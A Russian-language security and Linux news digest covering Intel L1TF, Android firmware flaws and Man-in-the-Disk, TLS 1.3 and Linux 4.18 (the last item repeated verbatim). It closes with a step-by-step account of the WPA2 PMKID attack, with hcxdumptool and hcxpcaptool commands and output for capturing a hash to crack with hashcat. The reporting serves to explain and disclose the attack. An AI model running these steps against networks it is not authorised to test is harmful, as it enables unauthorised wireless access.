L1TF — три новые уязвимости в механизме спекулятивного выполнения CPU Intel

Компания Intel раскрыла сведения о группе уязвимостей в механизме спекулятивного выполнения CPU, представленных под кодовым именем Foreshadow или L1 Terminal Fault (L1TF).

Уязвимости манипулируют тем, что при доступе к памяти по виртуальному адресу, приводящему к исключению (terminal page fault) из-за отсутствия флага Present в таблице страниц памяти, процессоры Intel спекулятивно рассчитывают физический адрес и загружают данные, если они имеются в L1-кэше. Спекулятивное обращение выполняется до завершения перебора таблицы страниц памяти и независимо от состояния записи в таблице страниц памяти (PTE), т.е. до проверки наличия данных в физической памяти и их доступности для чтения. После завершения проверки доступности памяти, в случае отсутствия флага Present в PTE операция отбрасывается, но данные оседают в кэше и их можно извлечь при помощи методов определения содержимого кэша по сторонним каналам (через анализ изменения времени доступа к прокэшированным и не прокэшированным данным).

L1TF присвоен высокий уровень опасности, так как уязвимость позволяет определить данные по любому физическому адресу в системе, независимо от применяемых механизмов изоляции и виртуализации (например, можно атаковать систему из гостевой системы). Ограничением атаки является то, что для восстановления содержимого L1-кэша код для эксплуатации уязвимости должен выполняться на том же физическом ядре CPU, что и код, вызывающий page fault.

Всего предложено три варианта уязвимости:

  • CVE-2018-3615 — извлечение данных из памяти анклавов Intel Software Guard Extensions (Intel SGX);
  • CVE-2018-3620 — извлечение данных из SMM (System Management Mode) и областей памяти ядра ОС;
  • CVE-2018-3646 — утечка данных из виртуальных машин в системах виртуализации.

Проблемам подвержены только процессоры Intel. Отмечается, что уязвимости уже устранены в прошлом обновлении микрокода. Для исправления первой проблемы достаточно обновления микрокода. Исправление второй и третьей проблемы выпущено в виде патча для ядра Linux и исправления для гипервизора Xen. Обновления уже формируются для дистрибутивов Ubuntu, Oracle, RHEL, SUSE и Debian.

По данным Intel негативное влияние исправления на производительность составляет от 0% (клиентские применения) до 7% (при симуляции нагрузки на web-сервер). По тестам Red Hat в большинстве применений замедление не превышает 2-5%, но в отдельных нагрузках достигает 14% (без обновения микрокода 27%). Как вариант блокирования уязвимости отмечается и отключение Hyper-Threading, но в этом случае падение производительности может достигать 30-50%.

Источник: [ссылка]

47 уязвимостей в Android-прошивках и новый вид атак Man-in-the-Disk

Компания Kryptowire представила на конференции DEF CON результаты своего исследования прошивок различных Android-смартфонов, в результате которого было выявлено 47 уязвимостей, затрагивающих 27 различных моделей смартфонов от Alcatel, ASUS, LG, ZTE, Sony, Nokia, Orbic, Oppo, MXQ и ряда других производителей.

Уязвимости достаточно разноплановые, от инициирования краха прошивки, очистки всех данных пользователя и скрытого создания скриншотов или записи видео содержимого экрана, до получения root-привилегий, установки приложений без ведома пользователя, неавторизированной отправки SMS и доступа к адресной книге.

Все выявленные уязвимости выходят за пределы штатной модели управления доступом Android и, как правило, затрагивают дополнительные надстройки и драйверы, добавленные производителями. Уязвимости выявлены в рамках программы по анализу дополняющих базовую платформу драйверов и установленных по умолчанию программ. Исследование профинансировано Министерством внутренней безопасности США.

Дополнительно можно отметить публикацию компанией Check Point описания нового вектора атак на приложения для платформы Android — «Man-in-the-Disk». В настоящее время большое число приложений при установке запрашивают полномочия на доступ к внешнему хранилищу, которое используется для хранения временных и рабочих файлов на SD-карте или дополнительном Flash с целью экономии внутренней памяти смартфона.

Суть атаки в том, что на внешних накопителях отсутствует должное разделение привилегий и любое приложение имеет доступ ко всем данным на накопителе. Например, вредоносное приложение может подменить или изменить данные любых других установленных приложений и инициировать в лучшем случае их крах или некорректное выполнение, а в худшем подменить исполняемые компоненты приложений на вредоносный код.

Отмечается, что данной проблеме подвержены многие популярные программы. Например, продемонстрирована возможность инициирования отказа в обслуживании для Google Translate, Yandex Translate, Google Voice Typing и Google Text-to-Speech, а также организация обновления Xiaomi Browser до модифицированного вредоносного варианта. Атака по подмене приложения сводятся к тому, что если программа сохраняет загруженное обновление во временный файл во внешнем хранилище, атакующий может отследить момент загрузки обновления и подменить его перед началом установки. Отказы в обслуживании инициируются через модификацию данных приложения на внешнем хранилище.

Для блокирования нового класса атак рекомендуется рассматривать все данные с внешних хранилищ как не заслуживающие доверия, обеспечивая полную проверку их корректности и не перенося на внешние хранилища исполняемые файлы или Java-классы. Для всех важных и исполняемых данных, сохраняемых во внешних хранилищах, обязательно должна обеспечиваться проверка целостности по цифровой подписи.

Источник: [ссылка]

Опубликован RFC для TLS 1.3

Комитет IETF (Internet Engineering Task Force), занимающийся развитием протоколов и архитектуры интернета, завершил формирование RFC для протокола TLS 1.3 и опубликовал связанную с ним спецификацию под идентификатором RFC 8446. RFC получил статус «Предложенного стандарта», после чего начнётся работа по приданию RFC статуса чернового стандарта (Draft Standard), фактически означающего полную стабилизацию протокола и учёт всех высказанных замечаний.

Установка защищённых соединений с использованием TLS 1.3 уже поддерживается в Firefox и Chrome, и реализована в ветке OpenSSL 1.1.1, которая пока находится на стадии тестирования. О включении поддержки TLS 1.3 на своих серверах заявили компании Cloudflare, Google и Facebook. Facebook отмечает, что уже около 50% всего трафика к социальной сети обрабатывается с использованием TLS 1.3.

Особенности TLS 1.3:

  • Работа только в режиме совершенной прямой секретности (PFS, Perfect Forward Secrecy), при котором компрометация одного из долговременных ключей не позволяет расшифровать ранее перехваченный сеанс. Оставление поддержки только PFS вызвало много споров и стало камнем преткновения в достижении консенсуса, так как ряд производителей указывали на возможное негативное влияние PFS на корпоративные системы, в локальных сетях которых применяется инспектирование проходящего трафика, например, для обеспечения отказоустойчивости, мониторинга, диагностики проблем, фильтрации вредоносного ПО и выявления атак;
  • Сокращение числа шагов при согласованиии соединения и поддержка режима 0-RTT для устранения задержек при возобновлении ранее установленных HTTPS-соединений. При установке HTTPS-соединения выполняются 4 фазы: запрос DNS, TCP Handshake (1 RTT), TLS Handshake (2 RTT на согласование ключей и параметров шифрованного канала) и отправка запроса HTTP (1 RTT). По сравнению с TLS 1.2 в новом стандарте число RTT для TLS Handshake сокращено с 2 до 1, т.е. для установки и возобновления соединения требуется запрос DNS и 3 цикла обмена данными (RTT) вместо 4. 0-RTT позволяет сохранить ранее согласованные параметры TLS и снизить до 2 число RTT при возобновлении ранее установленного соединения. По данным Facebook, по сравнению с TLS 1.2 использование TLS 1.3 приводит к сокращению задержек на 46% при установке соединений и на 10% при отправке первого запроса;
  • Поддержка потокового шифра ChaCha20 и алгоритма аутентификации сообщений (MAC) Poly1305, разработанных Дэниелом Бернштейном (Daniel J. Bernstein), Таней Ланге (Tanja Lange) и Питером Швабе (Peter Schwabe). ChaCha20 и Poly1305 можно рассматривать, как более быстрые и безопасные аналоги AES-256-CTR и HMAC, программная реализация которых позволяет добиться фиксированного времени выполнения без задействования специальных аппаратных ускорителей;
  • Поддержка защищённых ключей аутентификации на основе цифровых подписей Ed25519, которые обладают более высоким уровнем безопасности, чем ECDSA и DSA, и при этом отличаются очень высокой скоростью верификации и создания подписей. Стойкость к взлому для Ed25519 составляет порядка 2^128 (в среднем для атаки на Ed25519 потребуется совершить 2^140 битовых операций), что соответствует стойкости таких алгоритмов, как NIST P-256 и RSA с размером ключа в 3000 бит или 128-битному блочному шифру. Ed25519 также не подвержен проблемам с коллизиями в хэшах, не чувствителен к атакам через определение скорости работы кэша (cache-timing attacks) и атакам по сторонним каналам (side-channel attacks);
  • Поддержка обмена ключами на основе алгоритмов x25519 (RFC 7748) и x448 (RFC 8031);
  • Поддержка HKDF (HMAC-based Extract-and-Expand Key Derivation Function);
  • Удаление устаревших и ненадёжных криптографических примитивов (MD5, SHA-224) и возможностей (сжатие, повторное согласование, не-AEAD шифры, статический обмен ключами RSA и DH, указание unix-времени в Hello-сообщениях и т.п.).

Источник: [ссылка]

Релиз ядра Linux 4.18

После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 4.18. Среди наиболее заметных изменений в ядре 4.18: возможность монтирования ФС на базе FUSE непривилегированным пользователем, пакетный фильтр bpfilter, подсистема AF_XDP (eXpress Data Path), новый тип модулей ядра umh (usermode helper), device-mapper модуль writecache, поддержка SoC Qualcomm Snapdragon 845 и GPU AMD Vega 20, новый API поллинга для асинхронного ввода/вывода.

В новую версию принято 13 тысяч исправлений от 1668 разработчиков, размер патча — 50 Мб (изменения затронули 12866 файлов, добавлено 521039 строк кода, удалено — 619603 строк). Около 49% всех представленных в 4.18 изменений связаны с драйверами устройств, примерно 14% изменений имеют отношение к обновлению кода специфичного для аппаратных архитектур, 13% связано с сетевым стеком, 5% — файловыми системами и 3% c внутренними подсистемами ядра. 9.5% всех исправлений подготовлено разработчиками компании Intel, 7.5% — Red Hat, 4.6% — AMD, 4.3% — IBM, 3.8% — Linaro, 3.4% — Renesas Electronics, 3.0% — Google, 2.9% — SUSE, 2.8% — Samsung, 2.2% — Mellanox, 2.1% — Huawei, 2.0% — Oracle.

Основные новшества:

  • Сетевая подсистема
    • В состав ядра включен новый механизм фильтрации пакетов bpfilter, использующего предоставляемую ядром подсистему eBPF, но предлагая привычный синтаксис iptables. Bpfilter обрабатывает запросы API iptables и транслирует их в программы BPF, привязываемые к различным подсистемам. В настоящий момент в ядро добавлена только базовая инфраструктура для bpfilter, но ещё нехватает некоторых компонентов, необходимых для полноценного применения bpfilter для фильтрации пакетов;
    • В качестве сопутствующей bpfilter разработки в ядро добавлен новый тип модулей ядра umh (usermode helper), которые выполняются в пространстве пользователя и привязываются в базовым модулям, предоставляя для них вспомогательную функциональность, которую нецелесообразно или опасно выполнять c привилегиями ядра (например в модуле bpfilter.ko через них выполняется разбор и трансляция в BPF правил фильтрации). Модули umh функционируют под управлением ядра, оформляются в виде модулей ядра и загружаются через modprobe, но выполняются в пространстве пользователя с привилегиями пользовательских приложений. Взаимодействие umh-модулей с обычными модулями ядра производится с использованием неименованных каналов (unix pipe);
    • В состав ядра включена подсистема AF_XDP (eXpress Data Path), которая предоставляет средства для запуска BPF-программ на уровне сетевого драйвера, с возможностью прямого доступа к DMA-буферу пакетов, что позволяет создавать высокопроизводительные обработчики для работы в условиях большой сетевой нагрузки. В качестве примера реализованы обработчики для быстрой блокировки и перенаправления пакетов.
    • Реализована возможность чтения данных из сетевого сокета в режиме zero-copy (флаг TCP_ZEROCOPY_RECEIVEY), позволяющем организовать передачу данных по сети без промежуточного копирования данных между ядром и пространством пользователя (поддержка записи в режиме zero-copy была представлена в ядре 4.14);
    • В реализации протокола TLS на уровне ядра (KTLS) добавлена возможность задействования аппаратного ускорения операций с использовнием специализированных чипов. В настоящее время вынос связанных с работой TLS вычислений на плечи оборудования доступен только при использовании драйвера Mellanox mlx5;
    • В TCP-стек добавлена поддержка режима сжатия для выборочного подтверждения соединений (SACK), что позволяет сократить число отправляемых SACK-пакетов при перегрузке сети;
    • Добавлена возможность прикрепления BPF-программ к сокету и запуска обработчиков при вызове sendmsg(). Подобные обработчики могут применяться для выполнения такхи задач, как перезапись IP-адресов в исходящих пакетах;
  • Виртуализация и безопасность
    • В подсистему шифрования (crypto) добавлена поддержка шифров AEGIS и MORUS, а также алгоритма сжатия Zstandard;
    • Пользователь с правами root в пространстве имён идентификаторов пользователя (user namespaces) теперь может монтировать файловые системы, даже если у него нет на это прав вне пространства имён. При этом файловая система должна быть специально помечена для разрешения подобных операций (в настоящий момент операции разрешены только для ФС, реализуемых в пространстве пользователя при помощи модулей FUSE);
    • В модуль fscrypt, применяемый для шифрования ФС F2FS и ext4, добавлена поддержка шифров Speck128 и Speck256, разработанных Агентством национальной безопасности США. Шифры обеспечивают очень высокую производительность программной реализации, которая обгоняет AES на системах без наличия средств аппаратного ускорения AES. Использование Speck позволяет применять шифрование на маломощных устройствах, на которых применение AES не оправдано из-за больших накладных расходов;
    • Для 32-разрядной архитектуры ARM обеспечена защита от уязвимостей Spectre 1 и Spectre 2 (ранее защита от Spectre была обеспечена для архитектур x86, ARM64 и S390). Для ARM64 добавлена защита от Spectre v4.
    • Проведена работа по переводу ядра на более защищёные от переполнения буфера варианты функций распределения памяти. Например, вызовы «kmalloc(count*size, gfp_flags)» заменены на «kmalloc_array(count, size, gfp_flags)»;
    • Изменены настройки для включения защиты от переполнения стека — теперь автоматически включается наиболее действенный механизм защиты, доступный для текущей конфигурации;
  • Дисковая подсистема, ввод/вывод и файловые системы
    • Для Device Mapper реализован новый модуль «writecache«, который может применяться для кэширования операций записи блоков на SSD-накопителях или в постоянной памяти (кэширование операций записи не реализовано, так как такие операции и так кэшируются кэше страниц памяти в ОЗУ);
    • Обеспечена возможность применения флага IOCB_FLAG_IOPRIO для операций асинхронного ввода/вывода, позволяющего установить приоритет выполнения отдельных операций;
    • Добавлен новый API поллинга (определение готовности файлового дескриптора к вводу/выводу без блокировки), основанный на использовании системы асинхронного ввода/вывода (AIO);
    • В файловой системе Btrfs обеспечена возможность удаления пустого подраздела при помощи вызова rmdir() без специальных дополнительных привилегий. Добавлены новые ioctl-команды FS_IOC_FSGETXATTR и FS_IOC_FSSETXATTR для манипуляции с различными атрибутами файла (append, immutable, noatime, nodump и sync), которые в отличие от команд GET/SETFLAGS могут выставить атрибуты на уровне отдельных inode. Также реализован набор ioctl-команд для получения непривилегированным пользователем информации о подразделах;
    • В файловой системе XFS появилась возможность смены метки для уже примонтированной ФС, добавлена поддержка резервирования пустых областей через вызов fallocate() для файлов подкачки, задействован FUA для обеспечения прямой записи данных в режиме O_DSYNC. Кроме того, началась интеграция нового инструментария для восстановления целостности ФС на лету и выполнена переработка кода growfs с целью подготовки интеграции поддержки подразделов (subvolume);
    • В файловой системе ext4 продолжена работа по чистке кода и повышению надёжности работы в условиях обработки некорректных образов ФС, специально модифицированных для вредоносных целей;
    • Из раздела «staging» удалён код кластерной файловой системы Lustre. В качестве причин упоминается отсутствие должной активности по приведению имеющегося кода к соответствию с остальным ядром, плохая адаптация кода к изменениям в VFS, а также игнорирование проблем и периодическая публикация патчей, ломающих имеющуюся функциональность;
    • В файловой системе F2FS улучшена поддержка режима «discard»;
  • Память и системные сервисы
    • В систему доменов управления питанием (genpd, generic power domain) добавлена поддержка уровней производительности, при помощи которых можно настраивать работу всей системы, включая периферийные устройства, для достижения требуемого баланса между потреблением энергии и производительностью;
    • В контроллер ресурсов памяти group, позволяющий управлять расходованием памяти группой задач, добавлен параметр memory.min, который в отличие от ранее доступного параметра memory.low предоставляет более надёжную гарантию предоставления минимального размера доступной для группы оперативной памяти (не отключается при срабатывании OOM killer в условиях нехватки памяти);
    • Добавлен системный вызов с реализацией перезапускаемых последовательностей (restartable sequences), позволяющих приложениям организовать неразрывное выполнение группы инструкций, не прерываемой и подтверждающей результат последней инструкцией в группе. По сути предоставляется средство для очень быстрого атомарного выполнения операций, которые в случае прерывания другим потоком очищаются и предпринимается повторная попытка выполнения. Возможность реализована для архитектур x86, ARM и PowerPC;
    • Реализован новый параметр запуска ядра no5lvl, предназначенный для отключения пятиуровневых таблиц страниц памяти, даже если оборудование обеспечивает их поддержку;
    • Из интерфейса /proc удалена статстика IPMI (по-прежнему оставлена в sysfs);
    • Добавлена новая система определения макросов для конфигурации ядра, которую можно использовать для выноса различных тестов, выполняемых на этапе сборки, из makefile в файлы Kconfig;
    • В JIT-компиляторе подсистемы eBPF реализована поддержка 32-разрядных систем x86;
  • Оборудование
    • В драйвер Nouveau добавлена поддержка GPU NVIDIA Volta;
    • В DRM-драйвер AMDGPU добавлена поддержка GPU AMD Vega 20, а также GPU Kabylake-G (VEGAM — intel и radeon на одном чипе). Добавлены профили управления питанием, напряжением и частотой для GPU Vega10. Реализован режим энергосбережения gfxoff для GPU Raven;
    • В DRM-драйвере Intel включена поддержка чипов Icelake (ICL), проведён рефакторинг кода GuC/HuC и DPLL, включена поддержка NV12 и PSR/PSR2;
    • В драйвере amdkfd для dGPU (дискретные GPU, такие как Fiji, Tonga, Polaris) добавлена поддержка GPU GFX9;
    • Добавлен новый DRM-драйвер v3d для оборудования Broadcom V3D V3.x+;
    • Добавлен драйвер xen-front с реализаций графического фронтэнда для гостевых систем XEN в режиме паравиртуализации (PV);
    • Добавлена поддержка SoC Qualcomm Snapdragon 845, применяемого в новейших мобильных устройствах класса high-end;
    • Добавлена поддержка игровых контроллеров Steam от компании Valve;

Одновременно Латиноамериканский Фонд свободного ПО сформировал вариант полностью свободного ядра 4.18Linux-libre 4.18-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В новом выпуске представлен новый интерфейс для загрузки прошивок (firmware_reject_nowarn), не выводящий предупреждения в случае если прошивка не найдена. Добавлена чистка блобов для драйверов psp-dev и icn8505. Обновлён код чистки блобов в драйверах c3xxx, c62x, dvb-usb, dvb-usb-v2, iwlwifi, ks7010, ath10k, andgpu, i915, tg3, silead и ca0132. Прекращена чистка блобов для atom isp. Проведены ассемблерные файлы, вынесенные из основного кода amdkfd.

Источник: [ссылка]

Релиз ядра Linux 4.18

После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 4.18. Среди наиболее заметных изменений в ядре 4.18: возможность монтирования ФС на базе FUSE непривилегированным пользователем, пакетный фильтр bpfilter, подсистема AF_XDP (eXpress Data Path), новый тип модулей ядра umh (usermode helper), device-mapper модуль writecache, поддержка SoC Qualcomm Snapdragon 845 и GPU AMD Vega 20, новый API поллинга для асинхронного ввода/вывода.

В новую версию принято 13 тысяч исправлений от 1668 разработчиков, размер патча — 50 Мб (изменения затронули 12866 файлов, добавлено 521039 строк кода, удалено — 619603 строк). Около 49% всех представленных в 4.18 изменений связаны с драйверами устройств, примерно 14% изменений имеют отношение к обновлению кода специфичного для аппаратных архитектур, 13% связано с сетевым стеком, 5% — файловыми системами и 3% c внутренними подсистемами ядра. 9.5% всех исправлений подготовлено разработчиками компании Intel, 7.5% — Red Hat, 4.6% — AMD, 4.3% — IBM, 3.8% — Linaro, 3.4% — Renesas Electronics, 3.0% — Google, 2.9% — SUSE, 2.8% — Samsung, 2.2% — Mellanox, 2.1% — Huawei, 2.0% — Oracle.

Основные новшества:

  • Сетевая подсистема
    • В состав ядра включен новый механизм фильтрации пакетов bpfilter, использующего предоставляемую ядром подсистему eBPF, но предлагая привычный синтаксис iptables. Bpfilter обрабатывает запросы API iptables и транслирует их в программы BPF, привязываемые к различным подсистемам. В настоящий момент в ядро добавлена только базовая инфраструктура для bpfilter, но ещё нехватает некоторых компонентов, необходимых для полноценного применения bpfilter для фильтрации пакетов;
    • В качестве сопутствующей bpfilter разработки в ядро добавлен новый тип модулей ядра umh (usermode helper), которые выполняются в пространстве пользователя и привязываются в базовым модулям, предоставляя для них вспомогательную функциональность, которую нецелесообразно или опасно выполнять c привилегиями ядра (например в модуле bpfilter.ko через них выполняется разбор и трансляция в BPF правил фильтрации). Модули umh функционируют под управлением ядра, оформляются в виде модулей ядра и загружаются через modprobe, но выполняются в пространстве пользователя с привилегиями пользовательских приложений. Взаимодействие umh-модулей с обычными модулями ядра производится с использованием неименованных каналов (unix pipe);
    • В состав ядра включена подсистема AF_XDP (eXpress Data Path), которая предоставляет средства для запуска BPF-программ на уровне сетевого драйвера, с возможностью прямого доступа к DMA-буферу пакетов, что позволяет создавать высокопроизводительные обработчики для работы в условиях большой сетевой нагрузки. В качестве примера реализованы обработчики для быстрой блокировки и перенаправления пакетов.
    • Реализована возможность чтения данных из сетевого сокета в режиме zero-copy (флаг TCP_ZEROCOPY_RECEIVEY), позволяющем организовать передачу данных по сети без промежуточного копирования данных между ядром и пространством пользователя (поддержка записи в режиме zero-copy была представлена в ядре 4.14);
    • В реализации протокола TLS на уровне ядра (KTLS) добавлена возможность задействования аппаратного ускорения операций с использовнием специализированных чипов. В настоящее время вынос связанных с работой TLS вычислений на плечи оборудования доступен только при использовании драйвера Mellanox mlx5;
    • В TCP-стек добавлена поддержка режима сжатия для выборочного подтверждения соединений (SACK), что позволяет сократить число отправляемых SACK-пакетов при перегрузке сети;
    • Добавлена возможность прикрепления BPF-программ к сокету и запуска обработчиков при вызове sendmsg(). Подобные обработчики могут применяться для выполнения такхи задач, как перезапись IP-адресов в исходящих пакетах;
  • Виртуализация и безопасность
    • В подсистему шифрования (crypto) добавлена поддержка шифров AEGIS и MORUS, а также алгоритма сжатия Zstandard;
    • Пользователь с правами root в пространстве имён идентификаторов пользователя (user namespaces) теперь может монтировать файловые системы, даже если у него нет на это прав вне пространства имён. При этом файловая система должна быть специально помечена для разрешения подобных операций (в настоящий момент операции разрешены только для ФС, реализуемых в пространстве пользователя при помощи модулей FUSE);
    • В модуль fscrypt, применяемый для шифрования ФС F2FS и ext4, добавлена поддержка шифров Speck128 и Speck256, разработанных Агентством национальной безопасности США. Шифры обеспечивают очень высокую производительность программной реализации, которая обгоняет AES на системах без наличия средств аппаратного ускорения AES. Использование Speck позволяет применять шифрование на маломощных устройствах, на которых применение AES не оправдано из-за больших накладных расходов;
    • Для 32-разрядной архитектуры ARM обеспечена защита от уязвимостей Spectre 1 и Spectre 2 (ранее защита от Spectre была обеспечена для архитектур x86, ARM64 и S390). Для ARM64 добавлена защита от Spectre v4.
    • Проведена работа по переводу ядра на более защищёные от переполнения буфера варианты функций распределения памяти. Например, вызовы «kmalloc(count*size, gfp_flags)» заменены на «kmalloc_array(count, size, gfp_flags)»;
    • Изменены настройки для включения защиты от переполнения стека — теперь автоматически включается наиболее действенный механизм защиты, доступный для текущей конфигурации;
  • Дисковая подсистема, ввод/вывод и файловые системы
    • Для Device Mapper реализован новый модуль «writecache«, который может применяться для кэширования операций записи блоков на SSD-накопителях или в постоянной памяти (кэширование операций записи не реализовано, так как такие операции и так кэшируются кэше страниц памяти в ОЗУ);
    • Обеспечена возможность применения флага IOCB_FLAG_IOPRIO для операций асинхронного ввода/вывода, позволяющего установить приоритет выполнения отдельных операций;
    • Добавлен новый API поллинга (определение готовности файлового дескриптора к вводу/выводу без блокировки), основанный на использовании системы асинхронного ввода/вывода (AIO);
    • В файловой системе Btrfs обеспечена возможность удаления пустого подраздела при помощи вызова rmdir() без специальных дополнительных привилегий. Добавлены новые ioctl-команды FS_IOC_FSGETXATTR и FS_IOC_FSSETXATTR для манипуляции с различными атрибутами файла (append, immutable, noatime, nodump и sync), которые в отличие от команд GET/SETFLAGS могут выставить атрибуты на уровне отдельных inode. Также реализован набор ioctl-команд для получения непривилегированным пользователем информации о подразделах;
    • В файловой системе XFS появилась возможность смены метки для уже примонтированной ФС, добавлена поддержка резервирования пустых областей через вызов fallocate() для файлов подкачки, задействован FUA для обеспечения прямой записи данных в режиме O_DSYNC. Кроме того, началась интеграция нового инструментария для восстановления целостности ФС на лету и выполнена переработка кода growfs с целью подготовки интеграции поддержки подразделов (subvolume);
    • В файловой системе ext4 продолжена работа по чистке кода и повышению надёжности работы в условиях обработки некорректных образов ФС, специально модифицированных для вредоносных целей;
    • Из раздела «staging» удалён код кластерной файловой системы Lustre. В качестве причин упоминается отсутствие должной активности по приведению имеющегося кода к соответствию с остальным ядром, плохая адаптация кода к изменениям в VFS, а также игнорирование проблем и периодическая публикация патчей, ломающих имеющуюся функциональность;
    • В файловой системе F2FS улучшена поддержка режима «discard»;
  • Память и системные сервисы
    • В систему доменов управления питанием (genpd, generic power domain) добавлена поддержка уровней производительности, при помощи которых можно настраивать работу всей системы, включая периферийные устройства, для достижения требуемого баланса между потреблением энергии и производительностью;
    • В контроллер ресурсов памяти group, позволяющий управлять расходованием памяти группой задач, добавлен параметр memory.min, который в отличие от ранее доступного параметра memory.low предоставляет более надёжную гарантию предоставления минимального размера доступной для группы оперативной памяти (не отключается при срабатывании OOM killer в условиях нехватки памяти);
    • Добавлен системный вызов с реализацией перезапускаемых последовательностей (restartable sequences), позволяющих приложениям организовать неразрывное выполнение группы инструкций, не прерываемой и подтверждающей результат последней инструкцией в группе. По сути предоставляется средство для очень быстрого атомарного выполнения операций, которые в случае прерывания другим потоком очищаются и предпринимается повторная попытка выполнения. Возможность реализована для архитектур x86, ARM и PowerPC;
    • Реализован новый параметр запуска ядра no5lvl, предназначенный для отключения пятиуровневых таблиц страниц памяти, даже если оборудование обеспечивает их поддержку;
    • Из интерфейса /proc удалена статстика IPMI (по-прежнему оставлена в sysfs);
    • Добавлена новая система определения макросов для конфигурации ядра, которую можно использовать для выноса различных тестов, выполняемых на этапе сборки, из makefile в файлы Kconfig;
    • В JIT-компиляторе подсистемы eBPF реализована поддержка 32-разрядных систем x86;
  • Оборудование
    • В драйвер Nouveau добавлена поддержка GPU NVIDIA Volta;
    • В DRM-драйвер AMDGPU добавлена поддержка GPU AMD Vega 20, а также GPU Kabylake-G (VEGAM — intel и radeon на одном чипе). Добавлены профили управления питанием, напряжением и частотой для GPU Vega10. Реализован режим энергосбережения gfxoff для GPU Raven;
    • В DRM-драйвере Intel включена поддержка чипов Icelake (ICL), проведён рефакторинг кода GuC/HuC и DPLL, включена поддержка NV12 и PSR/PSR2;
    • В драйвере amdkfd для dGPU (дискретные GPU, такие как Fiji, Tonga, Polaris) добавлена поддержка GPU GFX9;
    • Добавлен новый DRM-драйвер v3d для оборудования Broadcom V3D V3.x+;
    • Добавлен драйвер xen-front с реализаций графического фронтэнда для гостевых систем XEN в режиме паравиртуализации (PV);
    • Добавлена поддержка SoC Qualcomm Snapdragon 845, применяемого в новейших мобильных устройствах класса high-end;
    • Добавлена поддержка игровых контроллеров Steam от компании Valve;

Одновременно Латиноамериканский Фонд свободного ПО сформировал вариант полностью свободного ядра 4.18Linux-libre 4.18-gnu, очищенного от элементов прошивок и драйверов, содержащих несвободные компоненты или участки кода, область применения которых ограничена производителем. В новом выпуске представлен новый интерфейс для загрузки прошивок (firmware_reject_nowarn), не выводящий предупреждения в случае если прошивка не найдена. Добавлена чистка блобов для драйверов psp-dev и icn8505. Обновлён код чистки блобов в драйверах c3xxx, c62x, dvb-usb, dvb-usb-v2, iwlwifi, ks7010, ath10k, andgpu, i915, tg3, silead и ca0132. Прекращена чистка блобов для atom isp. Проведены ассемблерные файлы, вынесенные из основного кода amdkfd.

Источник: [ссылка]

Новая техника атаки на беспроводные сети с WPA2

Йенс Штойбе (Jens «atom» Steube), создатель программы для подбора паролей hashcat, представил новую технику атаки на беспроводные сети с аутентификацией на базе механизмов WPA или WPA2. Предложенный метод существенно упрощает получение идентификатора, который затем может быть использован для подбора пароля подключения к беспроводной сети.

Атака применима к любым сетям 802.11i/p/q/r с включенным румингом (поддерживается на большинстве современных точек доступа). Суть метода в возможности получения идентификатора PMKID (Pairwise Master Key Identifier) в составе ответа EAPOL на запрос аутентификации (PMKID указывается в опциональном поле RSN IE (Robust Security Network Information Element)). Наличие PMKID позволяет определить разделяемый ключ PSK (Pre-Shared Key, пароль к беспроводной сети) без непосредственного получения вычисленного на его основе PMK (Pairwise Master Key), передаваемого на этапе согласования соединения при успешной аутентификации нового пользователя. В частности, PMKID вычисляется по формуле «HMAC-SHA1-128(PMK, «PMK Name» | MAC_AP | MAC_STA)». Так как MAC-адреса и строка с названием сети изначально известны, не составляет труда применять PMKID вместо PMK в качестве признака успешного подбора пароля.

Атаки по подбору паролей на основе перехваченных кадров не новы, но в отличие от ранее применяемых методов новая атака не требует ожидания подключения к сети нового пользователя и сохранения всей активности, связанной с установкой им соединения. Для получения данных, достаточных для начала подбора пароля, новый метод требует перехвата лишь одного кадра, который можно получить в любое время, отправив запрос аутентификации к точке доступа. Подобная особенность существенно упрощает получение данных для начала подбора, но в целом успешность атаки как и раньше зависит от стойкости установленного пароля к подбору по словарю.

Отмечается, что большинство пользователей не утруждают себя установкой стойких к подбору паролей подключения к беспроводной сети или используют генерируемые точкой доступа пароли, которые на первый взгляд являются стойкими, но на деле формируются на основе предсказуемых шаблонов. Подобные пароли достаточно эффективно подбираются при знании информации о производителе точки доступа, которую можно получить, например, проанализировав MAC-адрес и ESSID. Время подбора подобных 10-символьных паролей оценивается примерно в 8 дней на системе с 4 GPU.

Для проведения атаки требуются свежие версии hcxdumptool, hcxtools и hashcat.

Запускаем hcxdumptool, отправляем запрос к точке доступа для получения PMKID и сохраняем результат в файл в формате pcapng

     ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status        start capturing (stop with ctrl+c)      INTERFACE:...............: wlp39s0f3u4u5      FILTERLIST...............: 0 entries      MAC CLIENT...............: 89acf0e761f4 (client)      MAC ACCESS POINT.........: 4604ba734d4e (start NIC)      EAPOL TIMEOUT............: 20000      DEAUTHENTICATIONINTERVALL: 10 beacons      GIVE UP DEAUTHENTICATIONS: 20 tries      REPLAYCOUNTER............: 62083      ....       [13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e  [ASSOCIATIONREQUEST, SEQUENCE 4]      [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]      [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]  

В случае если точка доступа поддерживает отправку PMKID будет выведено сообщение «FOUND PMKID». Из-за помех перехват может не получиться с первого раза, поэтому рекомендуется запускать hcxdumptool в течение приблизительно 10 минут.

Запускаем утилиту hcxpcaptool для преобразования перехваченного дампа из формата pcapng в формат для разбора в hashcat.

     ./hcxpcaptool -z test.16800 test.pcapng        start reading from test.pcapng        summary:      --------      file name....................: test.pcapng      file type....................: pcapng 1.0      file hardware information....: x86_64      file os information..........: Linux 4.17.11-arch1      file application information.: hcxdumptool 4.2.0      network type.................: DLT_IEEE802_11_RADIO (127)      endianess....................: little endian      read errors..................: flawless      packets inside...............: 66      skipped packets..............: 0      packets with FCS.............: 0      beacons (with ESSID inside)..: 17      probe requests...............: 1      probe responses..............: 11      association requests.........: 5      association responses........: 5      authentications (OPEN SYSTEM): 13      authentications (BROADCOM)...: 1      EAPOL packets................: 14      EAPOL PMKIDs.................: 1        1 PMKID(s) written to test.16800  

Содержимое записанного файла включает строки вида «2582a81d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465af3a», которые содержат шестнадцатеричные значения PMKID, MAC AP,MAC Station и ESSID.

